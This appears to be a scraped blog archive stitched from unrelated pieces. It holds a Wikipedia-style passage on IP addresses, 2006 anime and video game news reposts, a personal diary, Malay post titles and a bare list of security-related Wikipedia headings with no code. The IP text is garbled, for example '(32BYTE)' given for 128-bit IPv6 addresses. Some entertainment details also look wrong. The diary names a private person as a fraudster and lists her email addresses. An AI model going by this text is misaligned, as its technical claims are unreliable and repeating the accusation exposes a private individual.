An IP address can appear to be shared by multiple client devices either because they are part of a shared hosting web server environment or because a proxy server (e.g. an ISP or anonymizer service) acts as an intermediary agent on behalf of its customers, in which case the real originating IP addresses might be hidden from the server receiving a request. The analogy to telephone systems would be the use of predial numbers (proxy) and extensions (shared).

IP addresses are managed and created by the Internet Assigned Numbers Authority. IANA generally assigns super-blocks to Regional Internet Registries, who in turn allocate smaller blocks to Internet Service Providers and enterprises.

IP versions

The Internet Protocol has two primary versions in use. Each version has its own definition of an IP address. Because of its prevalence, "IP address" typically refers to those defined by IPv4.

IP version 4

Main article: Addressing

IPv4 uses 32-bit (4 byte) addresses, which limits the address space to 4,294,967,296 (2³²) possible unique addresses. However, many are reserved for special purposes, such as private networks (~18 million addresses) or multicast addresses (~1 million addresses). This reduces the number of addresses that can be allocated as public Internet addresses, and as the number of addresses available is consumed, an IPv4 address shortage appears to be inevitable in the long run. This limitation has helped stimulate the push towards IPv6, which is currently in the early stages of deployment and is currently the only contender to replace IPv4.

Example: 192.168.1.1

IP version 5

Main article: IPv5

What would be considered IPv5 existed only as an experimental non-IP real time streaming protocol called ST2, described in RFC 1819. In keeping with standard UNIX release conventions, all odd-numbered versions are considered experimental, and this version was never intended to be implemented, thus not abandoned. RSVP has replaced it to some degree.

version 6

Main article: 128-bit length

(32BYTE)

In IPv6, the new (but not yet widely deployed) standard protocol for the Internet, addresses are 128 bits wide, which, even with a generous assignment of netblocks, should suffice for the foreseeable future. In theory, there would be exactly 2¹²⁸, or about 3.403 × 10³⁸ unique host interface addresses. The exact number is 340,282,366,920,938,463,463,374,607,431,768,211,456. This large address space will be sparsely populated, which makes it possible to again encode more routing information into the addresses themselves.

This magnitude of IPs available will be necessary in the future as mobile phones, cars and all types of personal devices come to rely on the internet for everyday purposes.

Trinity Blood From Katherine Luther, Your Guide to Anime.

2006-11-21T10:32:00.000+08:00

Apr 30 2006

New Anime Sneak Peek

Its been 500 years since Armageddon and all is apparently well. Or so it seems. But hidden below the peace and tranquility, an ancient battle is going strong.

The battle is between the Vatican and the vampires who have risen once again to rule the night. In an effort to exterminate the vamps once and for good, the Vatican relies on alliances with other forces, such as Ax, a special ops group that reports to the Cardinal Catherina.

One of the Ax members is Abel Nightroad, a Vatican priest yes, but also a vampire himself who lives on the blood of other vampires. His nemesis? A vampiric twin named Cain Nightroad.

Based on the original manga by Kiyo Kyuujou, Trinity Blood is a Trigun-esq thriller with plenty of nail-biting moments and its fair share of witty sarcasm. Animated by GONZO, Trinity Blood promises to be a supernatural hit among anime fans.

Ready for more? Trinity Blood isn't expected to hit your DVD shelves until September, 2006 but you can catch the trailer and perhaps a sneak peek on the big screen by visiting

Transformers The Movie From Katherine Luther

2006-11-21T10:21:00.000+08:00

Aug 20 2006

Anime Sneak Peek

Are you a transformer fan? Wish they'd bring back the big robots of yesteryear? Well, know they have.

Straight from DreamWorks SKG and Paramount Pictures, the Transformers are bigger, better and yes... they're back. Set to release on July 4th, 2007, the Transformers movie is the story of an intergalactic war between two races of robots - the Autobots (good guys) and the Decepticons (bad guys). Unfortunately, the Earth is caught right in the middle.

The robots hail from the planet Cybertron and both sides (good and bad) have the ability to transform into other mechanisms, such as cars, trucks and even a gun (Megatron). With fuel supplies low on Cybertron, the robots venture out into space to find a new resource and wouldn't you know it...has just the fuel they need.

Written by John Rogers (co-writer Catwoman) and then rewritten by Roberto Orci and Alex Kurtzman (Legend of Zorro), Transformers will feature the voice of Peter Cullen as Optimus Prime and a star-studded cast that includes Jon Voight (Keller), Shia LaBeouf (Spike Witwicky), John Duhamel (Lennox) and Bernie Mac (Bobby Bolivia). Michael Bay (Texas Chainsaw Massacre, The Amityville Horror) will direct and Stephen Spielberg and Brian Goldner will produce.

For more Transformers goodies, visit the official movie website or join the discussion at the Yahoo Message Board.

Wondering which bots made it into the movie?

Autobots
Optimus Prime
Bumblebee
Jass
Ratchet
Ironhide

Decepticons
Megatron
Starscream
Brawl
Bonecrusher
Skorpinok
Frenzy
Blackout
Barricade

Phantasy Star's Universe Expands New missions available for download. by Hilary Goldstein

2006-11-21T10:04:00.000+08:00

November 20, 2006 - Sega is releasing eight new Phantasy Star Universe missions in time for the long Thanksgiving weekend. Available on 360, PS2 and PC, the download opens up planet Moatoob for online play. Keep in mind; these missions are already available in the single-player portion of PSU. This is the first time they can be played online with your own created character.

The download also opens up the Tenora Works weapons counter. The new upgrades will help gamers take on the bigger Moatoob enemies.

Expect monthly updates for PSU that should inspire gamers to continue forking over the $10 hunter's fee.

Official PS3 Backwards Compatibility Site Launched Sony's official list is online and searchable. by Chris Roper

2006-11-21T09:54:00.000+08:00

November 20, 2006 - Sony Computer Entertainment has created an official backwards compatibility checklist site for looking up the compatibility status on PlayStation and PlayStation 2 titles. Rather than printing a flat list of 8,000 or so titles, Sony has created a search engine that allows you to look up any PSone or PS2 game and it'll tell you if it has any problems and what they are.

For instance, when searching for ICO you'll find that "Throughout gameplay and FMA's, the screen flickers." And when looking up Final Fantasy XI you'll find that "Users are unable to play titles that require HDD for PlayStation 2. This condition is planned to be resolved in the future with a system software update for PS3."

11-15-06 (9:26AM EST)---- Bandai Advances HD-DVD Plans

2006-11-20T10:52:00.000+08:00

After years of sitting on the fence as it were, being a neutral a player interested in exploring both HD-DVD and Blu-Ray next gen disc formats, on Wed. Bandai Visual announced a major advancement on the HD-DVD end of the spectrum. Bandai has agreed on a technical cooperation between Memory-Tech Corporation (Japan's largest optical disc manufaturer) and Microsoft, to manufacture it's forthcoming HD-DVD releases. Just last month in Tokyo, Memory-Tech and Microsoft announced a major agreement on technical collaboration to optimize high-definition quality for animated contents using the VC-1, video compression technology for next-generation DVD standards including HD DVD. Noisey visual pixelation effects generated from movement specific to animation content is said to be annulled by using the Microsoft owned codec technology.

11-15-06 (10:36PM EST)---- Naruto In Mad Magazine

2006-11-20T10:47:00.000+08:00

According to Daniel Zelter The popular ninja gets skewered in the November 15th issue of the long-running spoof magazine MAD KIDS #5. Naruto is not the first anime/manga anime to get parodied. The publication has also lampooned Pokemon and Yu-Gi-Oh. A big thanks to Daniel Zelter for the news.

11-16-06 (9:42AM EST)---- 2006 Canadian Waterloo Festival Opens Today

2006-11-20T10:14:00.000+08:00

The sixth edition of the Waterloo Festival for Animated Cinema (WFAC) opens today, and runs through Sunday Nov. 19. 19 animated feature films will be screened, with 11 of the films Canadian, North American or world premieres. Anime highlights include:
- TOKI O KAKERU SHOUJO (The Girl Who Leapt Through Time, 2006) - North American premiere. 35mm with English subtitles.
- GIN-IRO NO KAMI NO AGITO (Origin: Spirits of the Past, 2006) - Canadian premiere. 35mm with English subtitles.
- MIANHADA, SARANGHANDA (Sorry I Love You, 2006) - World premiere. Digital with English subtitles.
- ROBOTECH: THE SHADOW CHRONICLES (2006). DigiBeta with English dialogue.
- SHISHA NO SHO (Book of the Dead, 2005). 35mm with English subtitles.
- HOSHIZORA KISEKI (2006). Digital with English subtitles.
- HANARE TORIDE NO YONNA (Yonna in the Solitary Fortress, 2006). Digital with English subtitles.
- WAKUSEI KAIJU NEGADON (Negadon: The Monster From Mars, 2005). Digital with English subtitles.
For full details, visit www.wfac.ca.

11-16-06 (9:42AM EST)---- Latest Rebuild Of Evangelion Details

2006-11-20T10:12:00.000+08:00

The latest issue of the Japanese edition of Newtype Magazine includes many new details on Gainax's upcoming Rebuild Of Evangelion movies:
- No longer constrained by technological limitation of 12 years ago, Director Hideaki Anno is said to be happy that he can finally recreate Eva "as he wanted it to be" in the beginning.
- Production planning on the "first part" movie is now complete and now being passed off to the drawing phase.
- Anno is now working on the script for the second movie.
- The film project will retain many members of the TV series, allowing for the full chemistry that created Eva to work again.
- The first movie will occur around the time of the events of the episode 5-6 2 part story arch of the TV series with the climax being Operation Yashima involving Shinji's use of the positron sniper rifle. Anno says that because of technical limitations it didn't come out entirely as he planned the first time around and he wants to do his concept of the story right this time. Shinji Higuchi (director: Sinking Of Japan) will collaborate on the Yashima segments.
New characters will begin to appear as of the second movie.
- Uniform designs will be the same as the "Kou Gekijouban" works. The Nerv and Seele logos will be changed to reflect a symbolism surrounding the garden of eden story and the tree / fruit of forbidden knowledge. The NERV logo will be changed to show a fruit with a chunk bitten out of it, the new SEELE logo will reflect the image of a fruit with a serpent (Satan) coiled around it.

11-16-06 (1:59PM EST)---- New Quicktime Anime Related Trailers

2006-11-20T10:09:00.000+08:00

You can now check out QT versions of Paprika (trailer 2), Black And White (Tekkon Kinkreet) and the second Nana Movie. Thanks To Daniel Zelter for the link.

11-17-06 (12:30PM EST)---- Anime & Manga In Sex Exhibition

2006-11-20T10:06:00.000+08:00

A recent West Fargo Pioneer article references Elizabeth Semmelhack, the curator of the exhibition titled, "Peeping, Probing, and Porn: Four Centuries of Graphic Sex in Japan" at the Museum Of Sex in New York City. Among other things, the exhibition "looks at how the visual vocabulary of Edo period eroticism continues to impact Japanese visual cultural, particularly the plethora of manga and anime which are currently exerting great influence on Western popular culture today." Starting on March 16, 2006, the exhibition is currently ongoing.

11-17-06 (3:28PM EST)---- Naruto #1 On Gamecube In October

2006-11-20T09:56:00.001+08:00

TOMY Corporation and D3Publisher of America, Inc. this week announced that NARUTO: Clash of Ninja 2 for Nintendo GameCube has dominated software sales for the Nintendo GameCube, and according to the NPD Group was the #1 selling game for Nintendo GameCube in the month of October. Based on VIZ Media's hit anime and manga series NARUTO, NARUTO: Clash of Ninja 2 is the sequel to the smash hit NARUTO: Clash of Ninja, and features more playable characters, new locations and added gameplay features including multiplayer modes for up to four players.

Latest Anime News

2006-11-17T09:38:00.000+08:00

Tuesday, November 14, 2006
Today I had my first dentist appointment since switching insurance policies, and that meant a new dentist! I was scheduled for a cleaning, but I arrived about 10 minutes early so I busted out my trusty old Game Boy Advance and started up Astro Boy Omega Factor. And guess what? I was totally wrong about that one-hit-kills bad guy being the last boss. Yeah, I totally laid the smackdown on him, and found there was still more to come. After some story, I then fought another dude, and after I kicked his butt there was even more story, then a whole another level, and even more after that! And I still haven't reached the end! Have I mentioned recently how much this game rocks?

Anyways, so before the cleaning they wanted to get some X-Rays of my teeth. That was big fun. "Open"... "bite down"... *beeeeep*... repeat 40 or 50 times. After that, I was asked by the nice nurse lady if I had to take antibiotics before any dental procedures (due to one of the checkboxes I marked under medical history). I told her no. She asked if I had some paperwork that stated as such. I told her no. Then the doc came in and asked, and I told him no. I explained about checkbox I marked and told him that the condition no longer applies and I am in perfect health. Then the bastard tried to scare me into taking them, for "just in case", like I was lying to him or something. Too bad for him, I already knew all about the taking-antibiotics-before-dentist-visits thing because my sister has to do that, so his tactic failed.

He then asked if I was absolutely sure and tried to scare me some more. YES DOCTOR DUDE, I AM ABSOLUTELY 100% WITHOUT A DOUBT SURE THAT I DO NOT NEED TO TAKE ANY ANTIBIOTICS. Then came the WTF question... how do you know that you don't need to take them? Uh... what? Well, how about because I'm in perfect health, and have been for every physical I have ever taken... ever? Or how about because I have never needed to take them, not before my sister was born and not after when they told her she needed to take them? Hey, what about you, doc? Do you need to take them? No? Well how do you know? Dumbass. I'm aware of the reasons why some people need to take them, and I know that I do not need to take them, so can we just move on please? Then he asked if there was anyone like a physician that they could contact...

What could I do at this point but sigh. I understand that they want to be careful, but now they are just being stupid. If I was going to lie in order to get out of taking antibiotics, I wouldn't have MARKED THE DAMN CHECKBOX IN THE FIRST PLACE! But now because I told the truth and marked the checkbox they think I'm lying about being in perfect health and not needing antibiotics? Anyway, I told them the name of the doctor that did my last physical, even though he is no longer practicing. I had already written the name on the paperwork that they gave me to fill out earlier, but I guess they don't know how to read over there either because they needed me to not only tell them the name, but spell it as well. And then they sent me home. With no cleaning. Because they're morons. Truly, this doc does not instill me with confidence.

Monday, November 13, 2006
Posted the character profile of Trisha Elric (from Fullmetal Alchemist). Added an e-mail link to the floating navigation menu.

Victor, Chad, and I all went to see the midnight showing of Borat: Cultural Learnings of America for Make Benefit Glorious Nation of Kazakhstan on Thursday (or technically Friday I suppose) down at the nice theater in Anderson, not those crappy ones they got here in Redding. Unfortunately, Treese had to work the next morning so couldn't do it this time. We arrived a bit early, so we played a few rounds of Need For Speed Underground.

Psst... you know what? Need For Speed Underground is a blast! A seat with speakers behind your head, floor pedals, force-feedback steering wheel, and the ability to play with friends all adds up to an immersive racing experience. Though at $1.00 per race, that experience gets limited very quickly. There were only two machines, so only two of us could play at a time. First I went head-to-head with Victor, then when Chad showed up I took him on... and I lost every single race. Yeah, I suck at driving, but at least I go to play the most number of games!

Anyway, after that we did a game of Lord of the Rings pinball. One of the switches was busted, which meant that every time the ball got into that spot we had to wait for the machine to cycle through everything before it would pop the ball out. We ended up getting 2 extra games during play, though they were pointless since we didn't even have time to finish our first game. After all, we did have a movie to go see!

I hadn't had much of a desire to see Borat, but the reviews were all positive, WAY positive, so that got me mildly interested. Still, whenever reviews are that good the movie never lives up to the hype, so I wasn't expecting all that much. And wouldn't you know it, this movie actually DID live up to the hype! It was hilarious, pure laugh-out-loud funny. I can't remember a single movie that made me laugh that much. The only real disappointment is that there's pretty much no way that he could do a sequel.

Wednesday, November 8, 2006
Posted the character profile of Creed Diskenth (from Black Cat).

Upon doing a little searching, I have found some additional information about Carrie Hortt, the individual whom I previously mentioned had defrauded me and several others on the media-trading website ZunaFish. It seems that she had previously defrauded people on another media-trading website called Sitcoms Online, according to at least one post on that site titled Carrie Hortt, and her listing on their Bad Traders Report.

In addition to her blacksash5 handle, she also used the alias Carrie Fort. In addition to her blacksash5@aol.com and blacksash5@aim.com e-mail addresses, she also had the address iu911200@hotmail.com. In addition to the street address she has listed on her ZunaFish profile, she also had three additional addresses.

Although a ZunaFish representative has already stated that they have turned the case over to the Postal Inspector, I have also took it upon myself to submit a complaint of mail fraud against her, and I would encourage anyone who has been scammed by Carrie Hortt to do the same, as Postal Inspectors base investigations of mail fraud on the number, pattern, and substance of complaints received from the public.

Monday, November 6, 2006
Posted my review of Saturday Night Live- The Best of Saturday TV Funhouse. Created the Ken's Personal Photo Galleries page to make finding my various photo galleries a little easier.

On Saturday, Treese and I took a little road trip to Lassen National Park. We had driven up there once before, but we didn't make it very far on account of snowy roads. This time there was no snow, but it was still pretty dang cold! We drove around and got out at a few places to snap some photos. You can view the image gallery listed on My Personal Photo Galleries page, along with various other photo galleries I've posted. It was an enjoyable litte excursion, though we scrapped the whole picnic idea when we realized how cold it actually was.

On Thursday, I took my car in to Lithia Toyota of Redding for an oil change (I have that free lifetime oil change thing). No big deal, I've done it plenty of times before. Typically, this is not newsworthy information, but I'm mentioning this time for two reasons. First, it gave me a little time to continue playing Astro Boy Omega Factor (for Game Boy Advance), and I was finally able to get to the last boss (at least, I think he's the last boss). Even on easy mode, this is a one-hit-and-you're-dead bad guy. I planned on playing the game over on normal once I had beaten it on easy, and then on hard mode after that, but man, after facing this guy I think I'm gonna have to re-ponder that plan.

The second reason I mention the oil change is because later that night, as my wife and I were pulling into the garage after returning from grocery shopping (in her vehicle), I noticed that my front passenger side tire was completely flat. Now, I had only driven it straight home from the oil change, and didn't notice running over anything, so I figured the valve probably got stuck leaking air after they did the air pressure check on the tires. Either that, or it was just and extremely big coincidence. So I wrote the service center an e-mail (since it was late at night, and they actually had an e-mail as a contact option) and explained the situation.

The next morning they called me up. They wanted to send someone out to my house to inflate the tire, and then bring it into the shop so they could test it out. They even offered to have someone bring it in for me... now how's that for service! So the dude came out and inflated the tire, and when he removed the hose we could actually hear the valve leaking. Tapping the little metal thing inside the valve stopped the obvious noise, but it was still audible by leaning in real close. So it looked like my assumption was right. I drove it into the shop myself, and they proceeded to replace the valve and check all the other tires (including checking for punctures). I'd say it didn't take more than twenty minutes, though it's hard to say, as I was pretty focused on trying to beat that final Astro Boy boss.

I don't know if any of you have tried those trading websites out there, such as Game TZ and ZunaFish, but so far I've completed several successful trades and am really liking them. Unfortunately, it seems like there's always gotta be one person out there that just screws everything up, and yes, I've encountered this person. Her name is Carrie Hortt, though she goes by the handle blacksash5. On September 18, 2006, we entered into a videogame trade, my Siren PlayStation 2 game for her God of War PlayStation 2 game. Well, she never sent the game.

Delivery confirmation confirmed that on September 27th she had received what I had sent, so I contacted her on October 4th and she said that she would be sending it within the week. I waited until October 23, then contacted ZunaFish... and learned that she had been reported by several other people. They said that they had contacted her and that she agreed to fulfill all trades. After a week went by with still nothing, I informed ZunaFish and they let me know that they were handing the case over to the Postal Inspector. Since my father happens to be a retired Postal Inspector, I'm going to check with him to see what the whole process is.

In the meantime, make sure you do NOT trade with a user called blacksash5. In addition to ZunaFish, she also has a Game TZ profile (with a trade pending since September 24th), and doing a quick Google search for blacksash5 shows accounts at a few other places as well. Her e-mail is blacksash5@aol.com and blacksash5@aim.com, so also avoid any accounts using those e-mail address. You have been warned!

In other news, I received a MySpace Add Friend Request on Saturday from someone named Chris who was specified as residing in Bartlett, TN. I sent him a message asking if we knew each other, since I had known a few people named Chris while living there. When I received a reply the following day, I was excited to learn that he was in fact Chris Bailey, one of my long lost best friends. We had lost touch pretty much from the time I moved away, so I really had no idea what had become of him since I left. So now I finally get the chance to find out. Turns out he's married, as is his younger brother, Collin, and they are both fathers now.

Apparently, his wife stumbled across my website upon searching for his name. Talk about luck... some might say, but in truth I had the whole thing planned all along! It's pretty much the main reason I put the names of my friends, my schools, and the places I lived all on a single page. I figured sooner or later someone would go searching for their own name, and if they happened to add in some other search term like a place or school, then they would come across my site... and hopefully remember me. I am so smart! I am so smart! S-M-R-T! (play clip).

The strategy also worked with my old friend William Ivan Jackson, whom I met in Aurora, Colorado. He searched for his name, found my website, and sent me an e-mail. Unfortunately, my reply bounced. After a little trial and error, I finally figured out his proper e-mail address, and was able to get a message through. It was just a short one, though, as I was only trying to find the right address. Once it went through and I received a reply, I wrote a much longer message... unfortunately, that was on September 9th, and I have yet to receive a reply. This makes me nervous, because the last message I got from him said that he was in Iraq, serving in the U.S Army, and that he would be back in Colorado in a month. So I really hope he's okay....

PlayStation 3 vs. Xbox 360 vs. Wii Posted Nov 11th 2006 12:58AM by Ryan Block Filed under: Gaming

2006-11-16T15:39:00.000+08:00

Well, here we are. 2006, and perhaps the last console launch of the decade. And here they are, all decked out n' pretty. Go ahead, debate it. Just be nice, ok? At the end of the day the PlayStation 3, Xbox 360, Wii, they're only video game consoles, and we love our babies the same. Oh, catch some more ~~flame-stoking~~ conversation-inspiring pics after the break.

May 16, 2005 - So the next generation of console gaming is going to be damn impressive. We've seen PlayStation 3 and Xbox 360 in action and we are eno

2006-11-16T15:34:00.000+08:00

May 16, 2005 - So the next generation of console gaming is going to be damn impressive. We've seen PlayStation 3 and Xbox 360 in action and we are enormously impressed. We've seen games, we've seen specs, and we've shared our thoughts. But which titan will win the day?

All we really want to know is which platform will be the biggest beast? For tech junkies, there's really nothing better than wolfing down long lists of numbers. That's because right now there is honestly no way for anyone to decide which system is the best, so all the number munching lets people with nothing better to do argue a bunch. Since we never have anything better to do we can post some of these numbers and speculate!

So here's a little table that'll give you a good idea of what to expect from both systems.

[Editor's note: The Nintendo Revolution has not been revealed as of press time -- So please don't kill us because we forgot to include it]

Not to Scale

	PS3	Xbox 360
Processor	3.2GHz Cell w/ 7 SPEs 2.0 TFLOPS	3.2GHz G5 w/ 3 Cores 1.0 TFLOPS
Memory	256MB XDR @ 3.2GHz 256MB GDDR3 @ 700MHz	512MB GDDR3 @ 700MHz 10MB Embedded DRAM
GPU	550MHz NVIDIA	500MHz ATi
Best Display	1080p Standard Dual Screen Output	1080i Optional Single Screen Output
Network	1000BASE-T Ethernet Wi-Fi 802.11 b/g	100BASE-TX Ethernet Wi-Fi 802.11 a/b/g
Audio	5.1 Digital	5.1 Digital
Wireless Input	x7 on Bluetooth 2.0	x4 on 2.4GHz RF
Storage	Removable HDD *TBA	Removable HDD 20GB
Release	Spring 2006	November 2005
Dimensions	About 13.5" x 3.25"	About 10.25" x 2.5"

Official PlayStation Magazine discontinued! by Justin Pinte

2006-11-16T15:30:00.000+08:00

Sony Computer Entertainment America (SCEA) and Ziff Davis Game Group announced today that OPM (Official PlayStation Magazine) will be discontinued in North America. The main reason behind the move is that Sony plans to deliver the same content on their PS Network instead of through a magazine and demo disks.

SCEA VP of marketing, Peter Dille made the official announcement stating:

"A key element of the OPM magazine was the playable PlayStation disc packed in with every magazine. With the launch of the PLAYSTATION 3 (PS3) computer entertainment system and its full network and Web capabilities, we are focused on delivering content via the PlayStation Network and PlayStation.com website, not discs."

"While we have enjoyed a very good run with the printed version of Official U.S. PlayStation Magazine, we feel it is important to shift assets online to meet the needs of today's PlayStation consumer. This is a natural evolution of our content delivery strategy."

"Entertainment content, such as high definition downloadable game trailers and demos previously found only on the DVD disc packed in with each OPM issue, will now be available to everyone on the PlayStation.com site and on the PlayStation Network, accessible only through the PS3. SCEA will continue to work closely with the editorial staff at Ziff Davis, as well as other partners, in the development of content for the PlayStation Network and on news coverage, previews, reviews, game developer profiles and in-depth executive interviews for all Ziff Davis properties."

So, with the death of OPM, gamers can look to Sony's free online network to get the newest game demos and extras!

All about my life

Allah tidak jauh, doa sentiasa mustajab

Khamis - 29/01/2009

Penyakit futur boleh membunuh sahsiah diri

Khamis - 22/01/09

Siapa Yahudi? Siapa Orang Islam?

SEJAK 18 hari ini seluruh dunia meratap gara-gara kezaliman Israel. Tentera Zionis terus-menerus mengebom, mengganyang rakyat Palestin. Israel, nampaknya terlalu berkuasa.

Cuti

Cuti menjelang

15 okt 2008

UPSI

Pratikal 21

Praktikal 20

Pratikal 19

Pratikal 18

Pratikal 17

Pratikal 16

Pratikal 16

Praktikal 15

Pratikal XIV

Pratikal XIII

Pratikal XII

Pratikal XI

Praktikal X

Praktikal IX

Pratikal VIII

Pratikal VII

Pratikal VI

Pratikal V

Pratikal IV

Pratikal III

pratikal II

Pratikal

FreeBSD From Wikipedia, the free encyclopedia

SmoothWall From Wikipedia, the free encyclopedia

SmoothWall Express 3.0

IP address spoofing From Wikipedia, the free encyclopedia

How spoofing is done

Upper layers

Data compression

Satellite Internet access

Other definitions

SQL injection

Incorrectly filtered escape characters

ncorrect type handling

Vulnerabilities inside the database server

Application remediation

Database remediation

Keystroke logging From Wikipedia, the free encyclopedia

Contents

Trojan

Ciphertext

Federal Bureau of Investigation

Use in surveillance software

Monitoring what programs are running

Anti-spyware

Firewall

Network monitors

Automatic form filler programs

Alternative Keyboard Layouts

Program-to-program (non-web) keyboards

Web-based keyboards

Perisian anti virus: Pastikan komputer selamat

Mahu format cakera keras

Linux pelbagai kegunaan

Packet Sniffing

Hacker From Wikipedia, the free encyclopedia (Redirected from Computer hacking)

Categories of hacker

Hacker: Highly skilled programmer

Hacker: Computer and network security expert

Hacker: Hardware modifier

Hacker stereotypes

Recognized hackers

Skilled programmers

Hacker media personalities

Content management system From Wikipedia, the free encyclopedia

Web Content Management Systems

Operation

Terminology

Types of CMS